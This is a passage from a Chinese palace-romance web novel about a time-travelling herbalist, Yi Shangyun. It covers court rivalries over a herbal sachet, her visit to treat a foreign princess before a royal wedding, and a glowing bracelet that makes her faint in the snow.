轩辕玥顿时显出一副明显被陆天骄打破了这美好气氛的恼怒之态,霎时露着一脸怒气朝着她说“哼,秦王乃本公主的亲皇叔,亲皇叔大婚,本公主爱送什么便送什么,谁敢质疑?再说了,这香囊于秦皇叔本公主认为最适合不过了,这可是由诸多名贵的药草合成,那个什么...什么的,对了,云儿,你来说”。

衣上云见轩辕玥黔驴技穷尴尬着,便连忙抬起头上前搭话道“禀公主,此香囊是由苍术、山.奈、白芷、菖蒲、藿香、佩兰、艾叶等数十种名贵药草混合而成,具有驱虫避秽、防疫气、祛病强身、醒脑通窍之效”。

陆天骄顿时被眼前俩人这话怼的无话可说,竟有些后悔自己一时冲动考虑不周,没想到眼前端详了半天的蒙面女子竟是个有颇高药术的人。

她如今唐突地说出这样失礼的话来。竟一时情急忘记了轩辕玥可是西秦皇族最受宠的公主,且一向古灵精怪,行事自是不用避讳顾忌一切。更何况,她送礼的对象可是她的亲皇叔呢,自是送什么都无人敢质疑。

陆天骄与轩辕玥自小一向表面看似和气,但轩辕玥从来都不喜欢陆天骄的性格。总觉得她表面看似端庄有礼、温婉大方、实则内心城府极深。故自小并不屑与她为伍,此时更不会甘心示弱与她,必要怼得她无话可对。

而陆天骄却将眼神悄悄转向了正深埋着头不知所措的衣上云心里暗自怀疑道“这个香囊明显是这个丫头的,却为何轩辕玥要说是她的。轩辕玥又为何要将那个丫头的香囊赠给秦王殿下,而连她都看出来香囊并非轩辕玥之物,翰哥哥又怎会不知?如今还欣然接受了它,难道这其中有什么我不知道的事情”。

“这位姑娘似曾相识,不知我们以前可曾见过”陆天骄眼睛一转便已有了新的主意,看着衣上云突然开口说话。

衣上云瞬间一脸惊愕,自己整日以面巾遮面示人,实属不常见,难免令人生疑,但面对陆天骄的质问,她却只道了句“奴婢乃宫中侍奉玥公主的宫内小药女,身份卑微,又怎会与身份尊贵的陆大小姐相识”。

陆天骄就在此时已经完全记起,上次正是这个蒙面女子陪驾轩辕玥到西秦学院蝴蝶谷赏蝶的,于是便上前急急确认“哦,我想起来了,上次就是你陪驾公主殿下至学院蝴蝶谷赏蝶的,对吗?”

衣上云不语,轩辕玥一看到她的表情便知道她定是有难言之隐,便挺身帮她档话道“怎么,本公主要谁陪驾,需要陆大小姐的批准认同吗?”

“公主误会,小女不敢。小女只是见到她倍感亲切,方觉似曾相识,便想结识认识而已。再说,小女不过只是想知道她的闺名而已,也不是什么出格的大事吧?”

陆天骄此时竟异常胸有成竹理直气壮地说着。

“哼,黄鼠狼给鸡拜年,恐怕你没安什么好心吧。既然陆大小姐对本公主的一个使唤丫头如此感兴趣,本公主今儿就看在秦皇叔对本公主送的大婚贺礼颇为满意的份上,今儿心情好,便满足一下你这个好奇心吧。云儿,告诉陆大小姐你的名讳,让她今儿好好把你记住”轩辕玥冷哼一声朝着衣上云说道。

“公主...奴婢...”衣上云欲言又止,最后还是百般无奈地开了口。

“陆大小姐,小女名唤......衣上云”。

“什么,衣上云”只见陆天骄和身旁一直沉默端坐只顾品茶的陆天麟几乎是在同时几近从坐榻上惊跳起身来,而轩辕玥也顿时为之一震,三人齐齐放眼过去盯向衣上云的脸。

还没等陆天骄说话,陆天麟起身先上前去问道“你刚说你叫衣上云,难道你就是城西衣药师衣上坤府上的大小姐衣上云,那个病榻上昏迷了一年之久的衣上云吗?”。

陆天麟一脸惊愕慌乱失措地质问着,衣上云看着他的眼睛微微颔首肯定道。

陆天麟见她颔首默认,身体顿觉微颤本能地后退了两步,他确实直至到亲自上门退婚那日还尚未见过这衣家大小姐的芳容呢。

陆天麟怎么都没想到她竟不知何时已经真的醒过来了,而且除了脸上蒙纱之外,见她眉宇之间的气质以及今日的行为举止并不像传闻中所说的那般废柴和软弱啊。

而陆天骄此时方知自己聪明反被聪明误,眼下这样的局面显然是自己打了自己的脸。但在自己心爱的秦王殿下面前,她还是要全力以赴来保全自己温婉大方的纯良美名。

她心里急急想着应对之策“一定要先想办法给自己台阶下来才是”。

不得不说陆天骄真的是一个变脸高手,一转眼便听她道“云姐姐,你什么时候醒过来的,怎么都没有派人到学院里报个信呢,我们还都一直惦记着你呢。你什么时候怎么又成了宫里的药女了”。

陆天骄真不愧称为“白莲花”的美誉,此刻正一把搀扶着衣上云的胳膊一边字字关切地询问着。

衣上云却只是低头微笑着,并没有说话。对于如此不能再过熟悉的虚情假意之套路,她在21世纪里见到的实在太多了。

所以她自是不会真心理会,但在众人面前,也不能不一笑泯恩怨,否则岂不是被在场众人都看了笑话,还以为她真的很在乎这个指腹为婚呢?她可一点都不想在这个古代嫁人。

这时轩辕玥朝着走了过来拉开落在衣上云身上陆天骄的一双嫩手,训斥道“你们兄妹俩还好意思说出这样的话,人家醒了你们很失望是不是,巴不得人家姑娘永远都醒不来是吗?”。

“公主,不是你想的那样”陆天麟皱眉急急说话。

“那是怎样,难道你今日知道她已醒,仍信守诺言,西秦学院重新下聘娶了云儿”轩辕玥故意说出这样一句话来讽刺他。

“公主...”此时衣上云拉起轩辕玥的手腕,拼命摇头示意她不要再纠缠下去。轩辕玥却微微低着眼狠狠瞪了衣上云一眼。

平日里云儿叫惯了,只以为她就是一个平常的宫女,却没想到是那个被陆家退了婚的衣府可怜的女子,顿时替她更加心疼起来。

这时,始终坐在一边沉默不语,不怒自威的轩辕翰也终于开了金口缓缓道“过去的事便都过去了”。

他自是早已在婆孙俩初来王府的时候便已命副将程良查明了丝帕的主人正是衣家被西秦学院陆天麟亲自上门退了婚的衣上云,所以从始至终自是心知肚明。

此时看到眼前众人争吵不休,最后还得自己出言才能平息这伙人的愤怒与惭愧。

众人听到此话后一片鸦雀无声,各有所思着。

虽说衣上云醒了,但是毕竟陆天麟也不是那种会遵循父母之命媒妁之言的主,尤其自从轩辕玥上次在西秦学院训斥过后,他已经立誓要奋发图强,做一个顶天立地的好男儿,帮助父亲将西秦学院发扬光大。

而对于陆天骄,无疑今天的一切都是她挑起的事端。本欲辱之,反被其辱。还将哥哥也牵扯进来,可她无论如何也没想到,这个差点成为她嫂嫂的废柴丑女,如今却被轩辕玥如此抬爱,就连自己心心念念的翰哥哥似乎也对她......

她越想越觉得不对劲,越想越不甘心,越想越是愤怒,亦越是悲伤。到底她凭什么?

而就在承华殿内一室寂静,大家都沉默不语的时候,副将程良匆匆走了进来禀道“殿下,东宁国送亲使者三皇子梅志煊求见”。

他来所为何事......

第三十二章:众里寻他千百度

就在承华殿内一室寂静,众人都若有所思沉默不语的时候,副将程良匆匆走了进来禀道“殿下,东宁国送亲使臣三皇子梅志煊求见”。

“有请”轩辕翰似是有些惊讶,明日便是大婚吉时,此刻他来做什么。

程良授命后急急走出大殿,轩辕玥听了立马转身过去对着正端坐在大殿正位的轩辕翰说道“秦皇叔,东宁国此次与我西秦和亲竟然派一个皇子担任和亲使臣,看来东宁国国君对这个永乐公主果真如传闻中所说,的确是疼爱有加,才会如此重视。秦皇叔你日后可不要亏待了人家哦”。

轩辕翰听到轩辕玥的这番话,眼睛瞬时朝着轩辕玥迸射出一束寒气逼人的冷光,轩辕玥方知自己说错了话,随即赶紧收声低下头来乖乖静坐不再胡言乱语。一旁的陆天骄见了,竟悄悄地掩唇窃笑。

轩辕翰是谁,他可从来都不会因为任何人任何事而被威胁。

正在众人尚且还沉浸在这冰冷渗人的紧张气氛中时,只见走进来一位英气逼人的翩翩公子。

来人身姿挺拔、浓眉俊眸、积石如玉、列松如翠。一身玄色长袍,墨发全束顶戴王冠,长剑佩腰、眉宇间散发着一身的尊贵之气。

后面紧紧追随着的两名贴身护卫亦是腰间佩剑,各自手执一礼盘,均以红布遮掩着,甚是神秘的样子。

当三人走近轩辕翰面前来的时候恭恭敬敬地作揖行礼。

接着梅志煊便用那颇具磁性却又不失谦逊的声音说道“东宁国送亲使臣梅志煊见过秦王殿下,殿下万福”。

“三皇子不必多礼,请坐”轩辕翰亦是彬彬有礼地示意赐座,只是脸上始终都一如既往地冰块之色。

梅志煊刚入座便示意其中一名护卫将木盘中的礼物呈上,东宁国果真不愧为灵空大陆最富有的国家,接下来所献之礼让在座众人纷纷为之震撼。

只见其中一名侍卫上前来后缓缓掀开手中端着的礼盘上的红布遮盖,随之映入众人眼帘的是木盘里摆放着9个大小相同的玄色精雕木匣。

侍卫继续将木匣的盖子一一打开后,整整九颗罕见的天然夜明珠便显现在众人的眼前,只见这九颗夜明珠颜色分别是不同深浅的黄绿、浅蓝、橙红色系。

众人见此皆目惊口呆,面面相觑着。

此时,梅志煊介绍道“秦王殿下,此乃东宁国献给殿下的见面礼——名为九色悬珠,皆为浑然天成之物”。

只见这九粒呈现出九种不同深浅颜色的夜明珠即使在白天仍然泛着流光溢彩,如此神奇稀世之物,世人哪怕得此一颗已是价值连城,而此时这里竟有足足九颗。

还未等众人缓过神来,紧接着梅志煊起身来亲自朝着另一名护卫走去轻轻掀开了其手中木盘里的红布遮盖,这下就连向来沉稳的轩辕翰都定睛过来为之一愣。

只见红布下遮掩的竟是几只活物——光明女神蝶。

“三皇子,这是何物?”轩辕翰指着神蝶问道,而轩辕玥见此却抢了话过去。

方才她早已发现眼前来人正是自己许久以来碎碎念着的翩翩公子,没想到他们真的会再见,此时她早已按奈不住内心的激动与澎湃道“秦皇叔,让玥儿来禀明皇叔吧,玥儿知道这是何物”。

轩辕玥一边说着一边迈着轻柔的脚步上前走到神蝶边上继续说“此乃世间珍贵无比罕见的光明女神蝶。被誉为世上最美的蝴蝶。皇叔你看,此蝶的双翅上嵌着白色纹脉色带宛若它天然华贵且优美的装饰品,蝶儿振翅婀娜多姿,展翅如同孔雀开屏。皇叔,她还会变色呢。等到了夜里神蝶振翅从天蓝到紫兰不断闪烁变化色泽如同梦幻一般,甚是光彩熠熠呢”。

轩辕玥一边眉飞色舞神采奕奕地说着一边看着梅志煊的俊脸满心狂喜着,宛若一个得宠而又羞涩的孩子般温柔幸福,眼睛散发着甚是满足的得意光芒。

只见她刚一说完便向着身旁的梅志煊问道“东宁三皇子,不知本公主说的对是不对?”。

梅志煊这才意识到原来眼前站着的女子便是西秦公主,便匆匆向其行礼道“不知是公主殿下,还望恕罪。公主冰雪聪明,所言非常正确”。

轩辕玥直顾着一脸痴傻地端详梅志煊,竟连话都没说一句,露着一脸的仰慕之情。众人无不看出她这颇为明显的女儿家心思。

“玥儿,你从哪儿得知的这些?”听到轩辕翰问话,她方才醒过神来缓缓回到原位坐下来。

“皇叔有所不知,前段时日,云儿陪我去西秦学院蝴蝶谷,我们在那里见过这种神蝶”说着,轩辕玥转头看向陆家兄妹俩。

陆天麟和陆天骄一脸诧异,陆天麟急急道“公主,你确定没看错吗?西秦学院蝴蝶谷从未有过这种稀世珍贵的神蝶啊”陆天骄亦是颔首认同哥哥陆天麟所言。

“是吗?那......”轩辕玥正在苦思冥想西秦学院的神蝶到底从何而来,这时便再次传来梅志煊的声音“回公主殿下,神蝶是可以控制的,白天蝶儿可自由自在随意前往外面觅食,夜里必定按时归巢。神蝶珍贵罕见,想必公主之前所见之神蝶,亦应就在此中了”。

听了梅志煊所言,轩辕玥瞬间满脸极致的惊讶。从小到大,她赏蝶无数,还从来都没听过蝴蝶竟可以被人为控制,此时她眼里对梅志煊的敬佩和仰慕之情更深了几许。

缘起,众里寻他千百度,蓦然回首那人却在灯火阑珊处。

寻寻觅觅,原来他是东宁国三皇子。上次分别,他说有缘自会再见,没想到会真的再见,而且这么快,轩辕玥此刻心中的激动无以言表。

衣上云在一旁静静地看着轩辕玥,心里也替轩辕玥高兴着,终于知道心上人姓谁名甚了,衣上云眼睛一眨一眨地看着眼前这对良人,心里默默祝福着期望有情人终成眷属。

目光随即落在了梅志煊身上,而梅志煊的余光似是发觉了,此时同样看向了衣上云,四目相对,而两人又都立即躲闪收了回去。

只是即使衣上云以面纱遮面,梅志煊似乎仍然发现眼前看到的这个眼神似是有种久违的熟悉感,随之又情不自禁地抬头看了衣上云一眼,终究还是没有想起到底是在哪里见过,脸上顿时露出一丝疑虑的神情来。

片刻后,他才作罢不再深思,这时便对轩辕翰缓缓说道“秦王殿下,这些薄礼是我东宁的一些小小心意,还望秦王笑纳。本皇子此次冒昧前来是因为皇妹初至西秦大地,身体多有不适,她又忌讳宫中太医男女大防,不愿让其医治。可明日便是大婚,为不影响明日的吉时,不知殿下可有值得信赖的女医相荐,本皇子自当感激不尽”梅志煊忧心地说着。

轩辕翰正要准备开口,轩辕玥又急急抢了先。

“三皇子不必忧心,本公主今天出宫刚好随身带了医术颇好的医女,皇叔大婚在即,不便与未来皇婶见面,且有诸多不便,事不宜迟,本公主现在即刻就随你前去探望未来皇婶的病情,如何?”

梅志煊听闻大喜,随即将目光投向高高在上的轩辕翰请示,轩辕翰对轩辕玥露出一脸的无可奈何来,不知到底这丫头今天什么情况,对这个东宁三皇子诸事如此上心。

最后,轩辕翰无奈只得道了一句“速去速回”

轩辕玥见轩辕翰应允,便一把拉起衣上云大步朝着门口外踱步而去,梅志煊亦急急向轩辕翰行礼告辞后便紧随其后,上前去带路前往驿站。

随着三人的离开,大殿里顿时鸦雀无声,一室寂静。只剩下了陆天麟陆天骄兄妹和秦王轩辕翰三人。

陆天麟正满腹欣喜全神贯注地欣赏着梅志煊送来的九色悬珠和珍贵的神蝶。

轩辕翰则静坐着端详桌上那个宝蓝色药香囊,许久后才将其轻轻拿起小心翼翼的藏于衣袖之中,那张尊如神抵的脸上忽然露出一丝罕见的甜蜜与享受的表情来。

时已至深冬,陆天骄坐在暖烘烘的大殿里,看着眼前这俩人的行为举止,此时她的心却像跌入了万丈冰窟。

今日所有送给轩辕翰的大婚贺礼中,唯独只有她送来的龙吟、凤鸣两把稀世古琴像是被人完全遗忘了一般静静地弃在边上无人问津,也无人欣赏,唯独除了刚才轩辕玥的一番讥讽。

想着想着,她突然一脸哀伤而又含情脉脉地看了轩辕翰一会儿,最后默默地出声问了句“翰哥哥,你真的喜欢永乐公主吗?”

陆天麟听到这句话吓了一跳,来不及阻止她,只得慌忙地看向轩辕翰此时那张冰冷的脸,他叮嘱过她多少次,妹妹如今怎么还是说出这样的话来。

轩辕翰听到此话却依旧低着眼一脸的冷酷,不言亦不语,就好像根本没听到她的声音一般。

他的脸上在陆天骄来看从小到大除了冰冷,从来都没有对她有过其它不同的表情。而她今天却发现,对衣上云...轩辕翰完全不似那般地冰冷无情。

陆天骄的一句翰哥哥,饱含了多少他们从小一起长大的美好回忆,也饱含了多少她在这回忆中对他以及他们未来的希冀与期望,而在此刻一切所有的美好愿望竟全都化为乌有。

第三十三章:美人,水土不服

陆天骄的一句翰哥哥,饱含了他与轩辕翰从小一起在西秦学院青梅竹马长大的所有美好回忆,也饱含了多少她在这回忆当中对轩辕翰以及他们未来的所有希冀与期望,而在此刻一切美好竟全都化为乌有。

“可是,翰哥哥,即便现在已如此,注定天骄不能做你唯一的王妃,但天骄还是不愿放弃,也不能放弃,天骄为殿下而生,殿下不能将天骄弃之敝履。不能......”

转眼间,只见天色已近黄昏。

送亲队伍下榻的驿馆,里里外外亦是同样张灯结彩,装扮的一片喜庆,引人注目。

冬日里依旧寒风萧萧的一天,这天气也是一天比一天地见冷,所有人心里都默默期盼着明日大喜的日子将会是个好天气。

此时,衣上云和轩辕玥在东宁国三皇子梅志煊的引路下,迈着急匆匆的脚步正穿过驿馆前院厅堂的走廊,很快便步入了永乐公主下榻之所的后院。

已是深冬里的驿馆,院落中不例外的亦是繁华落尽,草木皆枯,到处都光秃秃的,一片萧条之色。

然而却因为院中到处布置挂满了喜庆的大红幔帐,看上去好似院中随处都开满了成片的腊梅朵朵,让人置身其间瞬间觉得不再那么凄冷,反而热闹了许多。

后院的碎玉轩就是东宁国永乐公主前来西秦国和亲在驿站内待嫁的寝室。

此时碎玉轩里外俨然一片灯火通明,侍候的奴才婢女们一个个正忙碌地进进出出着。

“三殿下”奴才们见主子梅志煊归来纷纷欠身行礼。

“此乃西秦国玥公主”梅志煊正式却也举止不失温润地向众人介绍道。

“奴婢们给玥公主请安,公主万福金安”众人听到梅志煊的介绍后纷纷下跪向轩辕玥行大礼,轩辕玥朝其微笑着颔首。

紧接着,门口侍候的婢女便急忙起身来为主子们将厚实的门帘掀开来。

于是三人便匆匆跨过门槛进到门里去,只见暖烘烘的厅堂里正迎面而来一个衣着光鲜、端庄大方、身姿玲珑、冰清玉洁、优雅极致的妙龄少女。

她一听到外面的动静,正向着梅志煊急急走来,一走近梅志煊身旁看了一眼他身边陌生女子的面孔便立马向梅志煊欠身行礼问道“皇兄,这位是?”

梅志煊随即介绍“这是西秦国玥公主”

梅汐媛听闻即刻彬彬有礼地欠身行礼“东宁国梅汐媛见过玥公主”。

轩辕玥与梅汐媛初次相见,却没想到未来皇婶是如此温柔美丽。

只见她一副冰肌玉骨、眉目如画、美若天仙。精致的一张小脸上两处甜甜的小酒窝,似要将人陷进去一般。眉心里竟还长着一颗世间少有的红色美人痣,瞬间显得灵气逼人。皓齿红唇;一双满载星河的炯目,一颦一笑,顾盼生辉。

轩辕玥痴迷地欣赏着眼前这个小美人儿,忽然笑着对其急急道“永乐公主不必多礼,明日你便是我的秦皇婶了”。

梅汐媛听了,立刻透出一脸的绯红羞涩,起身后躲藏了大半个身子在梅志煊身后。

“皇妹,你的身子现在如何了,玥公主带了她贴身的西秦国女医特意前来给你诊治,赶快进去给女医瞧瞧。千万不要误了明天吉时”梅志煊关切道。

“有劳玥公主了”梅汐媛客气地颔首向轩辕玥答谢,随即便转身走进了内屋绕过一个雕刻精致的鎏金屏风后躺在了床榻上,两名贴身侍候的宫女亦紧随其后。

轩辕玥此时方才示意衣上云跟进去为其诊治,衣上云得令立马踱步也跟了进去。

“玥公主请坐”这会儿,梅志煊开口示意轩辕玥在厅堂里歇息坐等。

“三皇子果真不认得我了吗”轩辕玥坐下片刻后忽然说道,梅志煊顿时朝着她看去,露出一脸的诧异。

半天后,轩辕玥见梅志煊已然记不起,便提醒道“前几日,我们主仆在街上遭遇几名恶汉无礼,幸得三皇子出手相助方得已脱险,至今还没来得及报答三皇子的救命之恩呢”。

“那日......是你,本皇子想起来了。还真是有缘,没想到这么快我们就又见面了”梅志煊恍然大悟。

轩辕玥不语,只是颔首傻笑着。

她早已满腹的女儿家心思,他又怎能知晓。此时俩人静坐着却都不知该说些什么了,只剩下一室寂静与随风微微舞动着的烛火静默相伴。

“公主殿下,可以起身了”内屋里衣上云经过一番详细的望闻问切后已经有了结论,此刻对梅汐媛说道。

“本公主的身子到底如何”梅汐媛优雅地起身来问道,贴身侍候的宫女忙上前帮其整理衣冠。

“公主的身体极好,并无大碍,只因初至西秦大地水土不服进而造成了饮食与月信略有不调罢了。所谓不习水土,必生疾病。奴婢这就开方子好好调养一段时日很快便会痊愈的,请公主宽心”衣上云帮她分析安慰道。

“果真如此吗,那会不会影响明天的......洞房花烛夜?”衣上云眼睛一怔,惊讶地看着梅汐媛的眼睛,没想到方才在大厅中还温文而婉的端庄公主一转身,此时竟会问出这样毫不避讳的话题来。

“公主,水土不服虽不是什么大病,但来日方长,为了公主的身子着想,奴婢建议尽量还是避着点好”衣上云徐徐地说。

说完她紧跟着细细问了旁边贴身侍候的宫女梅汐媛近日的饮食情况后对她说“奴婢建议公主近日的吃食先以豆腐开始,豆腐宽中益气,和脾胃,亦是一方水土的代表,更不会刺激肠胃,有利于公主快速适应西秦国的环境。”

梅汐媛这时才认真地听过来衣上云所说“等过一段时间后,公主可逐渐过渡到食粥和汤类,之后再尝试在午膳时间脾胃功能最强的时候开始食用西秦的菜肴”。

末了,衣上云还不忘提醒一旁的宫女“对了,晚间可给公主饮些蜂蜜水来养脾胃,慢慢过渡,很快就会康复的”

“你叫什么名字,倒是个聪明伶俐的丫头”梅汐媛听衣上云如此无微不至的交待着,不禁对她颇有好感起来打量道。

“奴婢是御药房的药女,衣上云”

“能得西秦公主的厚爱,想必你定有过人的本事。只可惜......”梅汐媛话说了一半欲言又止,她心心念念了那么久的大婚,此刻看来却是要失望了......

梅汐媛忽然抬头再次急急看向衣上云,像是刚才遗漏了什么似的。就在这时她才惊讶的发现衣上云露在遮面纱外的那双眼睛像极了一个人,像谁呢,她一时又想不起来。这双眼睛太熟悉了。可到底自己是在哪里见过?

最后她只问了句“你为何总是戴着面纱?”

衣上云一怔不假思索地答道“回公主,奴婢脸上有一胎记,怕冲撞到主子贵人们,所以平日里以纱巾遮面”她心里此时甚是埋怨,这个该死的系统芯片为何到现在还不能恢复功能,害的本小姐整日里跟人解释这个烦人的问题。

梅汐媛此刻正用温柔的眼神左右打探着她的脸,面纱中隐隐约约确实看到眼旁透露着一片胎记暗影。

众人整理收拾好行装后,一行人便都跟随着梅汐媛再次回到了厅堂。

梅志煊见状忙起身来问“皇妹,如何?”

“皇兄不必担忧,衣药女已经帮皇妹细细诊治过,只是水土不服而已,并无大碍”梅汐媛的语气里明显对自己的病情已经安心了许多。

“公主初到西秦大地,便遭此病痛忧心,玥儿回去后立刻禀报秦皇叔,请秦皇叔在府内多做准备,以备皇婶不时之需”轩辕玥亦是急急起身安慰道。

“多谢玥公主关怀”梅汐媛很快又恢复了开始那般温文而婉、端庄优雅之态。

离开了驿馆,衣上云似有所思,神情恍惚,竟没有注意到轩辕玥在向她问话。

“云儿,你在想什么呢?本公主在问你话呢,未来皇婶到底病情如何?”

直到轩辕玥抓住了衣上云放在膝盖上的两只冻得通红的手,才发现这双手冰冷极了。而衣上云也瞬间醒过神来。

“公主问什么?”

轩辕玥一脸责怪与无奈道“云儿,你和永乐公主在里面究竟发生了何事,为何你出来后就一直精神恍惚呢?未来皇婶真的只是水土不服吗”

“嗯,永乐公主真只是水土不服,初到西秦国,由于自然环境和生活习惯的改变,一时半会不能适应。便会出现如食欲不脉、腹胀、腹痛泄泻,或月信不调等。奴婢已经详细检查过,永乐公主只是食欲和月信不调而已,并无其他。而且奴婢已经详细地叮嘱交待过了,用药也极为巧妙,公主且放心便是”衣上云认真地回答。

“那便好。云儿,今日一见,这秦皇婶看起来甚是倾国倾城,果然配得起皇叔”轩辕玥终于露出一脸安心之态的说道。衣上云听着轩辕玥的话却只是轻轻地“嗯”了一声便又转入自己方才的思绪当中。

只是片刻她突然像是才反应过来什么似的,急急道“公主,你怎么知道奴婢的药香囊的?”

“哼,就你那点小心思和如鼠的胆量,本公主若不推你一把,这个药香囊怕是永远也到不了它主人的手里吧”轩辕玥早就在出宫前听丁香说了此事。

她笃定衣上云......

第三十四章:惊现,灼眼的紫芒

轩辕玥笃定了衣上云今日定是没有胆量敢将这个香囊亲手送给轩辕翰,所以她才自作主张帮着在俩人之间牵一根红线。而就依照她这么久下来对轩辕翰种种出乎人意料之外行为举止的细微观察,早已肯定他这个冰山皇叔对衣上云的心思绝对非同一般。

“公主,云儿此举绝对不是公主想的那个意思。云儿只是身份卑微,实在没什么拿的出手的礼物好准备的。而且,奴婢见秦王......”衣上云急急忙忙向轩辕玥解释,生怕自己一片最单纯的心思被人误会。

然还没等她将话说完,轩辕玥便开口打住了她“哼,你什么意思本公主可一点都没有兴趣,而且你此时也已没必要同本公主解释。反正现在东西在秦皇叔手里,秦皇叔是谁啊,他阅人无数,怎么会相信这个用心且精致的药香囊会是本公主做的呢?可他如今却欣然收下了,而且还答应会日日随身佩戴。你有时间,倒是可以猜猜他是什么心思”。

轩辕玥说完即刻轻轻侧过脸去竟捂起嘴坏坏地窃笑起来,片刻后才转回身子端坐好。

衣上云闻此,原本就七上八下的心现在更是不知所措了。

回到秦王府已是万籁俱寂的夜。

半夜里,天空中竟真的飘飘洒洒落起雪花来。

天快亮的时候,屋瓦片、松柏树、王府的院子里角角落落都已经俨然积起了厚厚的一层雪来。

雪中的秦王府除了平日的尊贵与庄严之气外,更多添了一份动人的静态之美。

漫天飞舞的雪花犹如一层纯白无暇的轻薄纱幔,遮盖起王府的每一寸角落。似是给秦王府蒙上了一层神秘的面纱,而神秘面纱下的万物正悄悄静等着,待这一切重生的美好时机的到来。

衣上云不知何时早已趴在了窗前呆呆地双手托腮正细细地欣赏着窗外的漫天飘雪,甚是掩饰不住内心的欢喜而暗自微笑着。

一般女子都会比较喜欢两个季节,一个是春天,因为春天,万物复苏、姹紫嫣红、百花齐放、蜂蝶翩翩起舞;也有许多女子喜欢夏天,因为夏天可以穿着各款新颖飘逸似仙女下凡般的纱裙,与百花争艳。

可或许唯独只有她,自小到大一直却都只对冰天雪地的冬季情有独钟,她认为冬天最是干净纯洁、让人心无杂念、好像时间都静止下来,唯有岁月一片静好。

此刻只见她忽然缓缓起身来,轻轻踮起脚尖小心翼翼地朝门口走去,生怕打扰到别人。一出了门便迈起轻盈的脚步沿着门前的石阶走了下来到院子里,一时间只觉的眼前的此情此景恍如仙境。

她歪着脑袋朝着四下张望看了看并没有人,便抬起双臂来伸了一个大大的懒腰,接着开始无拘无束地向着庭院深处里去漫步起来。

雪中她不由地伸出一只纤细的玉手来手心向上伸展开,雪花一片片轻轻地落在她的掌心,她接住后看着满心欢喜心情舒畅极了,竟然在原地恣意地转了个优美的圈,贪婪不拘的两只手忘情地把玩这自由自在飘飘洒洒的漫天飞雪。

就在此时,承华殿书房里一向作息规律习惯早起的轩辕翰正杵在窗前一脸温柔地欣赏着院子里这幅活色生香的雪中美人图。

他身着一袭玄色锦袍棉服,尊如神邸、明眸凝视,单手负手而立。嘴角微微上扬着看上去心情很好。

今日,西秦国秦王迎娶正妃,婚礼即昏礼,迎亲的队伍早已从秦王府浩浩荡荡地出发前往驿馆了。

“殿下,时辰不早了,该更衣了”副将程良端着一精致的雕花木盘,木盘里放着主子今日大婚的礼服,一走进来便提醒着。

轩辕翰被打扰,他听到却并没有出声,竟自顾自地朝着院里踱步而去。

“殿下......”程良还想继续劝说点什么,最后却只能放弃目送着他径自离去。

他跟随轩辕翰的背影走到窗前透过窗棂看到窗外嬉雪的美人,终于明白发生了什么,顿时一边嘴角流露出一丝窃笑便将大婚的礼服放在一旁的桌案上后独自悄然离去。

衣上云忽然感觉似是身后有人,便急急一个转身,一回首竟看到不知何时已经站在自己身后的轩辕翰。顿时脸上的笑容僵住瞬间被惊吓地脚下一滑差点向后扑倒而去,一站稳下来便连忙欠身行礼“殿下”。

轩辕翰看她被他惊吓到,立即伸出双手去扶却扑了个空。最后倒抽了一口气问道“下这么大的雪,你不冷吗?”

“嗯?哦,是有点冷,不过奴婢打小喜欢下雪天,自然已经习惯了。殿下快看,这轻柔的皑皑白雪,真的很美呢”衣上云用极其欢快的声音回答轩辕翰。

她这会只顾着自己,好似意犹未尽。然又立刻双手合拢,轻轻哈了两口热气,却没发现全身的棉衣早都已落满白雪。

“你喜欢下雪?”轩辕翰依旧冰冷的面孔问。

“嗯,小时候就很是喜欢,经常穿着很单薄的衣裳在雪地里玩,被爹娘训斥,但仍然喜欢着。长大后,奴婢的一个故人曾经告诉奴婢,下雪的时候,一定要约喜欢的人在雪中走一走,因为走着走着就一起白了头”。

衣上云一边回忆一边说着陷入了深深的沉思当中,心中不由涌上了那份压在心底里沉甸甸的思念之愁——是因为21世纪里她很小的时候便离开了父母独自身在异乡,又许是因为她21世纪的心上人魏明轩,至今下落不明。而如今她却......

轩辕翰看着她低垂沉思的脸,眼神忽然扫向了她身上的落雪,竟有好多已经化作雪水在一寸寸浸湿她的棉衣。

轩辕翰顺势捉起自己一只衣袖,竟向着衣上云逼身过去伸出他那温热的大手帮她轻轻弹落衣上的飘雪,紧接着又触向她的刘海,轻柔地拨着却更像是抚慰。

衣上云害羞地低着眉眼,如此近距离地与他站在一起,此刻仿佛都能听到他“砰砰砰”强而有力的心跳声,而那瘦弱苍白的脸此刻早已是一片绯红直达耳根。

只是她瞬间似是醒悟,速速躲闪后退低着头慌乱地说道“殿下,奴婢自己处理便可”说着,便自己在身上胡乱一通地拍打着。

轩辕翰见她害羞,便道“那衣药女,本王现在算不算陪你一起走在雪中呢?”

衣上云听到这句话顿时不知所措,慌忙想着该如何应答。

轩辕翰见她低头不语便继续踱步上前,竟强拉起她的一只纤纤玉手想要紧紧握住,不知道意欲何为?

正在衣上云万般惊慌之际,只见轩辕翰一不小心触碰到她戴在手腕上的七彩.金丝彩玉镯子,瞬间这七彩.金丝彩玉镯子发出一道耀眼的紫色光芒,光芒慢慢散开扩大将俩人紧紧围起来。

在这灼眼的紫色光芒包围起的空间里,轩辕翰惊奇地看到了自己从未见过的世界,而衣上云则看到了自己熟悉的再也不能熟悉的21世纪。

这紫色光芒愈来愈强刺眼至极,俩人都越来越抵抗不住终于侧过脸去,而当轩辕翰最后不得已松开手的刹那间,这耀眼的紫色光芒竟立即消失不见。

而衣上云却随着消失的紫色光芒几乎是在同一时间里晕了过去,向着冰冷的雪地重重倒下。

轩辕翰见势立刻伸手将她捞起横抱起来。

这时,轩辕玥看见。匆匆踏过石阶走下来急急道“秦皇叔,云儿这是怎么了?”

轩辕翰心里紧张极了,刚才发生的景象显然他还没有反应过来到底是怎么回事,只对轩辕玥急急喝道“赶快传太医”。

轩辕玥见势急忙往太医所一边奔去一边心想着着,今日大喜的日子,他们俩这到底怎么回事?

秦王府,云水阁里。

“回殿下,衣姑娘虽然长得清瘦,但是脉象不浮不沉,从容和缓,并无异象。老臣实在不知姑娘她为何会昏迷,可否先让其稍做休息容老臣观察观察”秦王府太医冒着冷汗战战兢兢地向轩辕翰请示道。

“无论如何,本王要她......好好活着”轩辕翰听了皱眉一脸凝重霸道却字字铿锵冷冷地说出这句意味深长的话。

太医闻之甚是惊慌地抬起眼再次看向他,随后急忙擦了擦两鬓的汗滴,倒抽了一口气。

轩辕玥闻之亦是大吃一惊。她长这么大,可从来都没见过秦皇叔正眼看过哪个女子一眼,更别说今日可是她亲眼看到秦皇叔一脸担忧地抱着衣上云,如今还说出这样暧昧不明的话来。可是,秦皇叔今日已然是要大婚了啊。

